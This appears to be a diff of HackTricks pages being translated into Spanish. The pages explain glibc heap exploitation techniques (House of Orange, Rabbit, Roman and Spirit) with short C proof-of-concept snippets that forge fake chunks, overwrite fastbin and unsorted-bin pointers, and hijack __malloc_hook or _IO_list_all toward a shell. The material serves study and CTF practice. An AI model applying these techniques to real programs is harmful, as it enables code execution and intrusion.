To get the top chunk inside the unsorted bin, allocate a chunk to create the top chunk, change the top chunk size (with an overflow in the allocated chunk) so that **top chunk + size** is page-aligned with the **prev_inuse** bit set. Then allocate a chunk larger than the new top chunk size. Note that `free` is never called to get the top chunk into the unsorted bin. Para obtener el chunk superior dentro del bin no ordenado, asigna un chunk para crear el chunk superior, cambia el tamaño del chunk superior (con un desbordamiento en el chunk asignado) de modo que **chunk superior + tamaño** esté alineado a página con el bit **prev_inuse** establecido. Luego asigna un chunk más grande que el nuevo tamaño del chunk superior. Ten en cuenta que `free` nunca se llama para llevar el chunk superior al bin no ordenado.
The old top chunk is now in the unsorted bin. Assuming we can read data inside it (possibly due to a vulnerability that also caused the overflow), its possible to leak libc addresses from it and get the address of **\_IO_list_all**. El antiguo chunk superior ahora está en el bin no ordenado. Suponiendo que podemos leer datos dentro de él (posiblemente debido a una vulnerabilidad que también causó el desbordamiento), es posible filtrar direcciones de libc desde él y obtener la dirección de **\_IO_list_all**.
An unsorted bin attack is performed by abusing the overflow to write `topChunk->bk->fwd = _IO_list_all - 0x10`. When a new chunk is allocated, the old top chunk will be split, and a pointer to the unsorted bin will be written into **`_IO_list_all`**. Se realiza un ataque de bin no ordenado abusando del desbordamiento para escribir `topChunk->bk->fwd = _IO_list_all - 0x10`. Cuando se asigna un nuevo chunk, el antiguo chunk superior se dividirá, y un puntero al bin no ordenado se escribirá en **`_IO_list_all`**.
The next step involves shrinking the size of the old top chunk to fit into a small bin, specifically setting its size to **0x61**. This serves two purposes: El siguiente paso implica reducir el tamaño del antiguo chunk superior para que quepa en un bin pequeño, específicamente estableciendo su tamaño en **0x61**. Esto sirve para dos propósitos:
1. **Insertion into Small Bin 4**: When `malloc` scans through the unsorted bin and sees this chunk, it will try to insert it into small bin 4 due to its small size. This makes the chunk end up at the head of the small bin 4 list which is the location of the FD pointer of the chunk of **`_IO_list_all`** as we wrote a close address in **`_IO_list_all`** via the unsorted bin attack. 1. **Inserción en Small Bin 4**: Cuando `malloc` escanea el bin no ordenado y ve este chunk, intentará insertarlo en el bin pequeño 4 debido a su pequeño tamaño. Esto hace que el chunk termine en la cabeza de la lista del bin pequeño 4, que es la ubicación del puntero FD del chunk de **`_IO_list_all`** ya que escribimos una dirección cercana en **`_IO_list_all`** a través del ataque de bin no ordenado.
2. **Triggering a Malloc Check**: This chunk size manipulation will cause `malloc` to perform internal checks. When it checks the size of the false forward chunk, which will be zero, it triggers an error and calls `malloc_printerr`. 2. **Activar una Verificación de Malloc**: Esta manipulación del tamaño del chunk hará que `malloc` realice verificaciones internas. Cuando verifica el tamaño del chunk falso hacia adelante, que será cero, activa un error y llama a `malloc_printerr`.
The manipulation of the small bin will allow you to control the forward pointer of the chunk. The overlap with **\_IO_list_all** is used to forge a fake **\_IO_FILE** structure. The structure is carefully crafted to include key fields like `_IO_write_base` and `_IO_write_ptr` set to values that pass internal checks in libc. Additionally, a jump table is created within the fake structure, where an instruction pointer is set to the address where arbitrary code (e.g., the `system` function) can be executed. La manipulación del bin pequeño te permitirá controlar el puntero hacia adelante del chunk. La superposición con **\_IO_list_all** se utiliza para forjar una estructura **\_IO_FILE** falsa. La estructura se elabora cuidadosamente para incluir campos clave como `_IO_write_base` y `_IO_write_ptr` establecidos en valores que pasan las verificaciones internas en libc. Además, se crea una tabla de saltos dentro de la estructura falsa, donde un puntero de instrucción se establece en la dirección donde se puede ejecutar código arbitrario (por ejemplo, la función `system`).
To summarize the remaining part of the technique: Para resumir la parte restante de la técnica:
- **Shrink the Old Top Chunk**: Adjust the size of the old top chunk to **0x61** to fit it into a small bin. - **Reducir el Antiguo Chunk Superior**: Ajustar el tamaño del antiguo chunk superior a **0x61** para que quepa en un bin pequeño.
- **Set Up the Fake `_IO_FILE` Structure**: Overlap the old top chunk with the fake **\_IO_FILE** structure and set fields appropriately to hijack execution flow. - **Configurar la Estructura Falsa `_IO_FILE`**: Superponer el antiguo chunk superior con la estructura falsa **\_IO_FILE** y establecer los campos apropiadamente para secuestrar el flujo de ejecución.
The next step involves forging a fake **\_IO_FILE** structure that overlaps with the old top chunk currently in the unsorted bin. The first bytes of this structure are crafted carefully to include a pointer to a command (e.g., "/bin/sh") that will be executed. El siguiente paso implica forjar una estructura falsa **\_IO_FILE** que se superponga con el antiguo chunk superior actualmente en el bin no ordenado. Los primeros bytes de esta estructura se elaboran cuidadosamente para incluir un puntero a un comando (por ejemplo, "/bin/sh") que se ejecutará.
Key fields in the fake **\_IO_FILE** structure, such as `_IO_write_base` and `_IO_write_ptr`, are set to values that pass internal checks in libc. Additionally, a jump table is created within the fake structure, where an instruction pointer is set to the address where arbitrary code can be executed. Typically, this would be the address of the `system` function or another function that can execute shell commands. Los campos clave en la estructura falsa **\_IO_FILE**, como `_IO_write_base` y `_IO_write_ptr`, se establecen en valores que pasan las verificaciones internas en libc. Además, se crea una tabla de saltos dentro de la estructura falsa, donde un puntero de instrucción se establece en la dirección donde se puede ejecutar código arbitrario. Típicamente, esta sería la dirección de la función `system` u otra función que pueda ejecutar comandos de shell.
The attack culminates when a call to `malloc` triggers the execution of the code through the manipulated **\_IO_FILE** structure. This effectively allows arbitrary code execution, typically resulting in a shell being spawned or another malicious payload being executed. El ataque culmina cuando una llamada a `malloc` activa la ejecución del código a través de la estructura manipulada **\_IO_FILE**. Esto permite efectivamente la ejecución de código arbitrario, lo que típicamente resulta en un shell que se genera o en otro payload malicioso que se ejecuta.
**Summary of the Attack:** **Resumen del Ataque:**
1. **Set up the top chunk**: Allocate a chunk and modify the top chunk size. 1. **Configurar el chunk superior**: Asignar un chunk y modificar el tamaño del chunk superior.
2. **Force the top chunk into the unsorted bin**: Allocate a larger chunk. 2. **Forzar el chunk superior en el bin no ordenado**: Asignar un chunk más grande.
3. **Leak libc addresses**: Use the vulnerability to read from the unsorted bin. 3. **Filtrar direcciones de libc**: Usar la vulnerabilidad para leer del bin no ordenado.
4. **Perform the unsorted bin attack**: Write to **\_IO_list_all** using an overflow. 4. **Realizar el ataque de bin no ordenado**: Escribir en **\_IO_list_all** usando un desbordamiento.
5. **Shrink the old top chunk**: Adjust its size to fit into a small bin. 5. **Reducir el antiguo chunk superior**: Ajustar su tamaño para que quepa en un bin pequeño.
6. **Set up a fake \_IO_FILE structure**: Forge a fake file structure to hijack control flow. 6. **Configurar una estructura falsa \_IO_FILE**: Forjar una estructura de archivo falsa para secuestrar el flujo de control.
7. **Trigger code execution**: Allocate a chunk to execute the attack and run arbitrary code. 7. **Activar la ejecución de código**: Asignar un chunk para ejecutar el ataque y ejecutar código arbitrario.
This approach exploits heap management mechanisms, libc information leaks, and heap overflows to achieve code execution without directly calling `free`. By carefully crafting the fake **\_IO_FILE** structure and placing it in the right location, the attack can hijack the control flow during standard memory allocation operations. This enables the execution of arbitrary code, potentially resulting in a shell or other malicious activities. Este enfoque explota mecanismos de gestión de heap, fugas de información de libc y desbordamientos de heap para lograr la ejecución de código sin llamar directamente a `free`. Al elaborar cuidadosamente la estructura falsa **\_IO_FILE** y colocarla en la ubicación correcta, el ataque puede secuestrar el flujo de control durante las operaciones estándar de asignación de memoria. Esto permite la ejecución de código arbitrario, lo que potencialmente resulta en un shell u otras actividades maliciosas.
## References ## Referencias
- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_orange/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_orange/) - [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_orange/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_orange/)
- [https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html) - [https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)

View File

@ -2,110 +2,92 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
### Requirements ### Requisitos
1. **Ability to modify fast bin fd pointer or size**: This means you can change the forward pointer of a chunk in the fastbin or its size. 1. **Capacidad para modificar el puntero fd de fast bin o su tamaño**: Esto significa que puedes cambiar el puntero hacia adelante de un chunk en el fastbin o su tamaño.
2. **Ability to trigger `malloc_consolidate`**: This can be done by either allocating a large chunk or merging the top chunk, which forces the heap to consolidate chunks. 2. **Capacidad para activar `malloc_consolidate`**: Esto se puede hacer al asignar un chunk grande o fusionar el chunk superior, lo que obliga al heap a consolidar chunks.
### Goals ### Objetivos
1. **Create overlapping chunks**: To have one chunk overlap with another, allowing for further heap manipulations. 1. **Crear chunks superpuestos**: Para que un chunk se superponga con otro, permitiendo más manipulaciones del heap.
2. **Forge fake chunks**: To trick the allocator into treating a fake chunk as a legitimate chunk during heap operations. 2. **Forjar chunks falsos**: Para engañar al asignador haciéndole tratar un chunk falso como un chunk legítimo durante las operaciones del heap.
## Steps of the attack ## Pasos del ataque
### POC 1: Modify the size of a fast bin chunk ### POC 1: Modificar el tamaño de un chunk de fast bin
**Objective**: Create an overlapping chunk by manipulating the size of a fastbin chunk. **Objetivo**: Crear un chunk superpuesto manipulando el tamaño de un chunk de fastbin.
- **Step 1: Allocate Chunks**
- **Paso 1: Asignar Chunks**
```cpp ```cpp
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000 unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050 unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10); // Allocates a small chunk to change the fastbin state malloc(0x10); // Allocates a small chunk to change the fastbin state
``` ```
Asignamos dos bloques de 0x40 bytes cada uno. Estos bloques se colocarán en la lista de fast bin una vez liberados.
We allocate two chunks of 0x40 bytes each. These chunks will be placed in the fast bin list once freed. - **Paso 2: Liberar Bloques**
- **Step 2: Free Chunks**
```cpp ```cpp
free(chunk1); // Frees the chunk at 0x602000 free(chunk1); // Frees the chunk at 0x602000
free(chunk2); // Frees the chunk at 0x602050 free(chunk2); // Frees the chunk at 0x602050
``` ```
Liberamos ambos bloques, añadiéndolos a la lista fastbin.
We free both chunks, adding them to the fastbin list. - **Paso 3: Modificar el Tamaño del Bloque**
- **Step 3: Modify Chunk Size**
```cpp ```cpp
chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1]) chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
``` ```
Cambiamos los metadatos de tamaño de `chunk1` a 0xa1. Este es un paso crucial para engañar al asignador durante la consolidación.
We change the size metadata of `chunk1` to 0xa1. This is a crucial step to trick the allocator during consolidation. - **Paso 4: Activar `malloc_consolidate`**
- **Step 4: Trigger `malloc_consolidate`**
```cpp ```cpp
malloc(0x1000); // Allocate a large chunk to trigger heap consolidation malloc(0x1000); // Allocate a large chunk to trigger heap consolidation
``` ```
Asignar un gran bloque activa la función `malloc_consolidate`, fusionando pequeños bloques en el fast bin. El tamaño manipulado de `chunk1` provoca que se superponga con `chunk2`.
Allocating a large chunk triggers the `malloc_consolidate` function, merging small chunks in the fast bin. The manipulated size of `chunk1` causes it to overlap with `chunk2`. Después de la consolidación, `chunk1` se superpone con `chunk2`, lo que permite una mayor explotación.
After consolidation, `chunk1` overlaps with `chunk2`, allowing for further exploitation. ### POC 2: Modificar el puntero `fd`
### POC 2: Modify the `fd` pointer **Objetivo**: Crear un bloque falso manipulando el puntero `fd` del fast bin.
**Objective**: Create a fake chunk by manipulating the fast bin `fd` pointer.
- **Step 1: Allocate Chunks**
- **Paso 1: Asignar Bloques**
```cpp ```cpp
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000 unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050 unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050
``` ```
**Explicación**: Asignamos dos bloques, uno más pequeño y uno más grande, para preparar el heap para el bloque falso.
**Explanation**: We allocate two chunks, one smaller and one larger, to set up the heap for the fake chunk. - **Paso 2: Crear bloque falso**
- **Step 2: Create fake chunk**
```cpp ```cpp
chunk2[1] = 0x31; // Fake chunk size 0x30 chunk2[1] = 0x31; // Fake chunk size 0x30
chunk2[7] = 0x21; // Next fake chunk chunk2[7] = 0x21; // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk chunk2[11] = 0x21; // Next-next fake chunk
``` ```
Escribimos metadatos de chunk falsos en `chunk2` para simular chunks más pequeños.
We write fake chunk metadata into `chunk2` to simulate smaller chunks. - **Paso 3: Liberar `chunk1`**
- **Step 3: Free `chunk1`**
```cpp ```cpp
free(chunk1); // Frees the chunk at 0x602000 free(chunk1); // Frees the chunk at 0x602000
``` ```
**Explicación**: Liberamos `chunk1`, añadiéndolo a la lista fastbin.
**Explanation**: We free `chunk1`, adding it to the fastbin list. - **Paso 4: Modificar `fd` de `chunk1`**
- **Step 4: Modify `fd` of `chunk1`**
```cpp ```cpp
chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2 chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2
``` ```
**Explicación**: Cambiamos el puntero hacia adelante (`fd`) de `chunk1` para que apunte a nuestro chunk falso dentro de `chunk2`.
**Explanation**: We change the forward pointer (`fd`) of `chunk1` to point to our fake chunk inside `chunk2`. - **Paso 5: Activar `malloc_consolidate`**
- **Step 5: Trigger `malloc_consolidate`**
```cpp ```cpp
malloc(5000); // Allocate a large chunk to trigger heap consolidation malloc(5000); // Allocate a large chunk to trigger heap consolidation
``` ```
Asignar un gran bloque nuevamente activa `malloc_consolidate`, que procesa el bloque falso.
Allocating a large chunk again triggers `malloc_consolidate`, which processes the fake chunk. El bloque falso se convierte en parte de la lista fastbin, convirtiéndolo en un bloque legítimo para una mayor explotación.
The fake chunk becomes part of the fastbin list, making it a legitimate chunk for further exploitation. ### Resumen
### Summary La técnica **House of Rabbit** implica modificar el tamaño de un bloque fast bin para crear bloques superpuestos o manipular el puntero `fd` para crear bloques falsos. Esto permite a los atacantes forjar bloques legítimos en el heap, habilitando varias formas de explotación. Comprender y practicar estos pasos mejorará tus habilidades de explotación de heap.
The **House of Rabbit** technique involves either modifying the size of a fast bin chunk to create overlapping chunks or manipulating the `fd` pointer to create fake chunks. This allows attackers to forge legitimate chunks in the heap, enabling various forms of exploitation. Understanding and practicing these steps will enhance your heap exploitation skills.
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -2,87 +2,82 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Basic Information ## Información Básica
This was a very interesting technique that allowed for RCE without leaks via fake fastbins, the unsorted_bin attack and relative overwrites. However it has ben [**patched**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c). Esta fue una técnica muy interesante que permitió RCE sin leaks a través de fastbins falsos, el ataque unsorted_bin y sobrescrituras relativas. Sin embargo, ha sido [**parcheada**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c).
### Code ### Código
- You can find an example in [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c) - Puedes encontrar un ejemplo en [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)
### Goal ### Objetivo
- RCE by abusing relative pointers - RCE abusando de punteros relativos
### Requirements ### Requisitos
- Edit fastbin and unsorted bin pointers - Editar punteros de fastbin y unsorted bin
- 12 bits of randomness must be brute forced (0.02% chance) of working - 12 bits de aleatoriedad deben ser forzados (0.02% de probabilidad) de funcionar
## Attack Steps ## Pasos de Ataque
### Part 1: Fastbin Chunk points to \_\_malloc_hook ### Parte 1: Fastbin Chunk apunta a \_\_malloc_hook
Create several chunks: Crea varios chunks:
- `fastbin_victim` (0x60, offset 0): UAF chunk later to edit the heap pointer later to point to the LibC value. - `fastbin_victim` (0x60, offset 0): Chunk UAF que se editará más tarde para apuntar al valor de LibC.
- `chunk2` (0x80, offset 0x70): For good alignment - `chunk2` (0x80, offset 0x70): Para una buena alineación
- `main_arena_use` (0x80, offset 0x100) - `main_arena_use` (0x80, offset 0x100)
- `relative_offset_heap` (0x60, offset 0x190): relative offset on the 'main_arena_use' chunk - `relative_offset_heap` (0x60, offset 0x190): offset relativo en el chunk 'main_arena_use'
Then `free(main_arena_use)` which will place this chunk in the unsorted list and will get a pointer to `main_arena + 0x68` in both the `fd` and `bk` pointers. Luego `free(main_arena_use)` que colocará este chunk en la lista no ordenada y obtendrá un puntero a `main_arena + 0x68` en ambos punteros `fd` y `bk`.
Now it's allocated a new chunk `fake_libc_chunk(0x60)` because it'll contain the pointers to `main_arena + 0x68` in `fd` and `bk`. Ahora se asigna un nuevo chunk `fake_libc_chunk(0x60)` porque contendrá los punteros a `main_arena + 0x68` en `fd` y `bk`.
Then `relative_offset_heap` and `fastbin_victim` are freed.
Luego se liberan `relative_offset_heap` y `fastbin_victim`.
```c ```c
/* /*
Current heap layout: Current heap layout:
0x0: fastbin_victim - size 0x70 0x0: fastbin_victim - size 0x70
0x70: alignment_filler - size 0x90 0x70: alignment_filler - size 0x90
0x100: fake_libc_chunk - size 0x70 (contains a fd ptr to main_arena + 0x68) 0x100: fake_libc_chunk - size 0x70 (contains a fd ptr to main_arena + 0x68)
0x170: leftover_main - size 0x20 0x170: leftover_main - size 0x20
0x190: relative_offset_heap - size 0x70 0x190: relative_offset_heap - size 0x70
bin layout: bin layout:
fastbin: fastbin_victim -> relative_offset_heap fastbin: fastbin_victim -> relative_offset_heap
unsorted: leftover_main unsorted: leftover_main
*/ */
``` ```
- &#x20;`fastbin_victim` tiene un `fd` que apunta a `relative_offset_heap`
- &#x20;`relative_offset_heap` es un offset de distancia desde `fake_libc_chunk`, que contiene un puntero a `main_arena + 0x68`
- Solo cambiando el último byte de `fastbin_victim.fd` es posible hacer que `fastbin_victim` apunte a `main_arena + 0x68`
- &#x20;`fastbin_victim` has a `fd` pointing to `relative_offset_heap` Para las acciones anteriores, el atacante necesita ser capaz de modificar el puntero fd de `fastbin_victim`.
- &#x20;`relative_offset_heap` is an offset of distance from `fake_libc_chunk`, which contains a pointer to `main_arena + 0x68`
- Just changing the last byte of `fastbin_victim.fd` it's possible to make `fastbin_victim points` to `main_arena + 0x68`
For the previous actions, the attacker needs to be capable of modifying the fd pointer of `fastbin_victim`. Entonces, `main_arena + 0x68` no es tan interesante, así que modifiquémoslo para que el puntero apunte a **`__malloc_hook`**.
Then, `main_arena + 0x68` is not that interesting, so lets modify it so the pointer points to **`__malloc_hook`**. Nota que `__memalign_hook` generalmente comienza con `0x7f` y ceros antes de él, por lo que es posible falsificarlo como un valor en el fast bin `0x70`. Debido a que los últimos 4 bits de la dirección son **aleatorios**, hay `2^4=16` posibilidades para que el valor termine apuntando a donde nos interesa. Así que se realiza un ataque BF aquí para que el chunk termine como: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.**
Note that `__memalign_hook` usually starts with `0x7f` and zeros before it, then it's possible to fake it as a value in the `0x70` fast bin. Because the last 4 bits of the address are **random** there are `2^4=16` possibilities for the value to end pointing where are interested. So a BF attack is performed here so the chunk ends like: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.** (Para más información sobre el resto de los bytes, consulta la explicación en el [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ ejemplo](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). Si el BF no funciona, el programa simplemente se bloquea (así que comienza de nuevo hasta que funcione).
(For more info about the rest of the bytes check the explanation in the [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ example](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). If the BF don't work the program just crashes (so start gain until it works).
Then, 2 mallocs are performed to remove the 2 initial fast bin chunks and the a third one is alloced to get a chunk in the **`__malloc_hook:`**
Luego, se realizan 2 mallocs para eliminar los 2 chunks iniciales del fast bin y se asigna un tercero para obtener un chunk en el **`__malloc_hook:`**
```c ```c
malloc(0x60); malloc(0x60);
malloc(0x60); malloc(0x60);
uint8_t* malloc_hook_chunk = malloc(0x60); uint8_t* malloc_hook_chunk = malloc(0x60);
``` ```
### Parte 2: Ataque Unsorted_bin
### Part 2: Unsorted_bin attack Para más información, puedes consultar:
For more info you can check:
{{#ref}} {{#ref}}
unsorted-bin-attack.md unsorted-bin-attack.md
{{#endref}} {{#endref}}
But basically it allows to write `main_arena + 0x68` to any location by specified in `chunk->bk`. And for the attack we choose `__malloc_hook`. Then, after overwriting it we will use a relative overwrite) to point to a `one_gadget`. Pero básicamente permite escribir `main_arena + 0x68` en cualquier ubicación especificada en `chunk->bk`. Y para el ataque elegimos `__malloc_hook`. Luego, después de sobrescribirlo, utilizaremos una sobrescritura relativa para apuntar a un `one_gadget`.
For this we start getting a chunk and putting it into the **unsorted bin**:
Para esto, comenzamos obteniendo un chunk y colocándolo en el **unsorted bin**:
```c ```c
uint8_t* unsorted_bin_ptr = malloc(0x80); uint8_t* unsorted_bin_ptr = malloc(0x80);
malloc(0x30); // Don't want to consolidate malloc(0x30); // Don't want to consolidate
@ -91,25 +86,24 @@ puts("Put chunk into unsorted_bin\n");
// Free the chunk to create the UAF // Free the chunk to create the UAF
free(unsorted_bin_ptr); free(unsorted_bin_ptr);
``` ```
Usa un UAF en este chunk para apuntar `unsorted_bin_ptr->bk` a la dirección de `__malloc_hook` (esto lo forzamos previamente).
Use an UAF in this chunk to point `unsorted_bin_ptr->bk` to the address of `__malloc_hook` (we brute forced this previously).
> [!CAUTION] > [!CAUTION]
> Note that this attack corrupts the unsorted bin (hence small and large too). So we can only **use allocations from the fast bin now** (a more complex program might do other allocations and crash), and to trigger this we must **alloc the same size or the program will crash.** > Ten en cuenta que este ataque corrompe el bin no ordenado (por lo tanto, también el pequeño y el grande). Así que solo podemos **usar asignaciones del fast bin ahora** (un programa más complejo podría hacer otras asignaciones y fallar), y para activar esto debemos **asignar el mismo tamaño o el programa fallará.**
So, to trigger the write of `main_arena + 0x68` in `__malloc_hook` we perform after setting `__malloc_hook` in `unsorted_bin_ptr->bk` we just need to do: **`malloc(0x80)`** Entonces, para activar la escritura de `main_arena + 0x68` en `__malloc_hook`, después de establecer `__malloc_hook` en `unsorted_bin_ptr->bk`, solo necesitamos hacer: **`malloc(0x80)`**
### Step 3: Set \_\_malloc_hook to system ### Paso 3: Establecer \_\_malloc_hook a system
In the step one we ended controlling a chunk containing `__malloc_hook` (in the variable `malloc_hook_chunk`) and in the second step we managed to write `main_arena + 0x68` in here. En el primer paso terminamos controlando un chunk que contiene `__malloc_hook` (en la variable `malloc_hook_chunk`) y en el segundo paso logramos escribir `main_arena + 0x68` aquí.
Now, we abuse a partial overwrite in `malloc_hook_chunk` to use the libc address we wrote there(`main_arena + 0x68`) to **point a `one_gadget` address**. Ahora, abusamos de una sobrescritura parcial en `malloc_hook_chunk` para usar la dirección de libc que escribimos allí (`main_arena + 0x68`) para **apuntar a una dirección de `one_gadget`**.
Here is where it's needed to **bruteforce 12 bits of randomness** (more info in the [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ example](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). Aquí es donde es necesario **forzar 12 bits de aleatoriedad** (más información en el [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ ejemplo](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)).
Finally, one the correct address is overwritten, **call `malloc` and trigger the `one_gadget`**. Finalmente, una vez que la dirección correcta es sobrescrita, **llama a `malloc` y activa el `one_gadget`**.
## References ## Referencias
- [https://github.com/shellphish/how2heap](https://github.com/shellphish/how2heap) - [https://github.com/shellphish/how2heap](https://github.com/shellphish/how2heap)
- [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c) - [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)

View File

@ -1,15 +1,14 @@
# House of Spirit # Casa del Espíritu
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Basic Information ## Información Básica
### Code ### Código
<details> <details>
<summary>House of Spirit</summary> <summary>Casa del Espíritu</summary>
```c ```c
#include <unistd.h> #include <unistd.h>
#include <stdlib.h> #include <stdlib.h>
@ -19,99 +18,96 @@
// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit // Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
struct fast_chunk { struct fast_chunk {
size_t prev_size; size_t prev_size;
size_t size; size_t size;
struct fast_chunk *fd; struct fast_chunk *fd;
struct fast_chunk *bk; struct fast_chunk *bk;
char buf[0x20]; // chunk falls in fastbin size range char buf[0x20]; // chunk falls in fastbin size range
}; };
int main() { int main() {
struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory
void *ptr, *victim; void *ptr, *victim;
ptr = malloc(0x30); ptr = malloc(0x30);
printf("Original alloc address: %p\n", ptr); printf("Original alloc address: %p\n", ptr);
printf("Main fake chunk:%p\n", &fake_chunks[0]); printf("Main fake chunk:%p\n", &fake_chunks[0]);
printf("Second fake chunk for size: %p\n", &fake_chunks[1]); printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
// Passes size check of "free(): invalid size" // Passes size check of "free(): invalid size"
fake_chunks[0].size = sizeof(struct fast_chunk); fake_chunks[0].size = sizeof(struct fast_chunk);
// Passes "free(): invalid next size (fast)" // Passes "free(): invalid next size (fast)"
fake_chunks[1].size = sizeof(struct fast_chunk); fake_chunks[1].size = sizeof(struct fast_chunk);
// Attacker overwrites a pointer that is about to be 'freed' // Attacker overwrites a pointer that is about to be 'freed'
// Point to .fd as it's the start of the content of the chunk // Point to .fd as it's the start of the content of the chunk
ptr = (void *)&fake_chunks[0].fd; ptr = (void *)&fake_chunks[0].fd;
free(ptr); free(ptr);
victim = malloc(0x30); victim = malloc(0x30);
printf("Victim: %p\n", victim); printf("Victim: %p\n", victim);
return 0; return 0;
} }
``` ```
</details> </details>
### Goal ### Objetivo
- Be able to add into the tcache / fast bin an address so later it's possible to allocate it - Poder agregar una dirección en el tcache / fast bin para que luego sea posible asignarla.
### Requirements ### Requisitos
- This attack requires an attacker to be able to create a couple of fake fast chunks indicating correctly the size value of it and then to be able to free the first fake chunk so it gets into the bin. - Este ataque requiere que un atacante pueda crear un par de chunks rápidos falsos que indiquen correctamente el valor del tamaño y luego pueda liberar el primer chunk falso para que entre en el bin.
### Attack ### Ataque
- Create fake chunks that bypasses security checks: you will need 2 fake chunks basically indicating in the correct positions the correct sizes - Crear chunks falsos que eviten las verificaciones de seguridad: necesitarás 2 chunks falsos que indiquen en las posiciones correctas los tamaños correctos.
- Somehow manage to free the first fake chunk so it gets into the fast or tcache bin and then it's allocate it to overwrite that address - De alguna manera, gestionar liberar el primer chunk falso para que entre en el fast o tcache bin y luego se asigne para sobrescribir esa dirección.
**The code from** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **is great to understand the attack.** Although this schema from the code summarises it pretty good:
**El código de** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **es excelente para entender el ataque.** Aunque este esquema del código lo resume bastante bien:
```c ```c
/* /*
this will be the structure of our two fake chunks: this will be the structure of our two fake chunks:
assuming that you compiled it for x64 assuming that you compiled it for x64
+-------+---------------------+------+ +-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 | | 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+ +-------+---------------------+------+
| 0x08: | Chunk # 0 size | 0x60 | | 0x08: | Chunk # 0 size | 0x60 |
+-------+---------------------+------+ +-------+---------------------+------+
| 0x10: | Chunk # 0 content | 0x00 | | 0x10: | Chunk # 0 content | 0x00 |
+-------+---------------------+------+ +-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 | | 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+ +-------+---------------------+------+
| 0x68: | Chunk # 1 size | 0x40 | | 0x68: | Chunk # 1 size | 0x40 |
+-------+---------------------+------+ +-------+---------------------+------+
| 0x70: | Chunk # 1 content | 0x00 | | 0x70: | Chunk # 1 content | 0x00 |
+-------+---------------------+------+ +-------+---------------------+------+
for what we are doing the prev size values don't matter too much for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks the important thing is the size values of the heap headers for our fake chunks
*/ */
``` ```
> [!NOTE] > [!NOTE]
> Note that it's necessary to create the second chunk in order to bypass some sanity checks. > Tenga en cuenta que es necesario crear el segundo chunk para eludir algunas verificaciones de sanidad.
## Examples ## Ejemplos
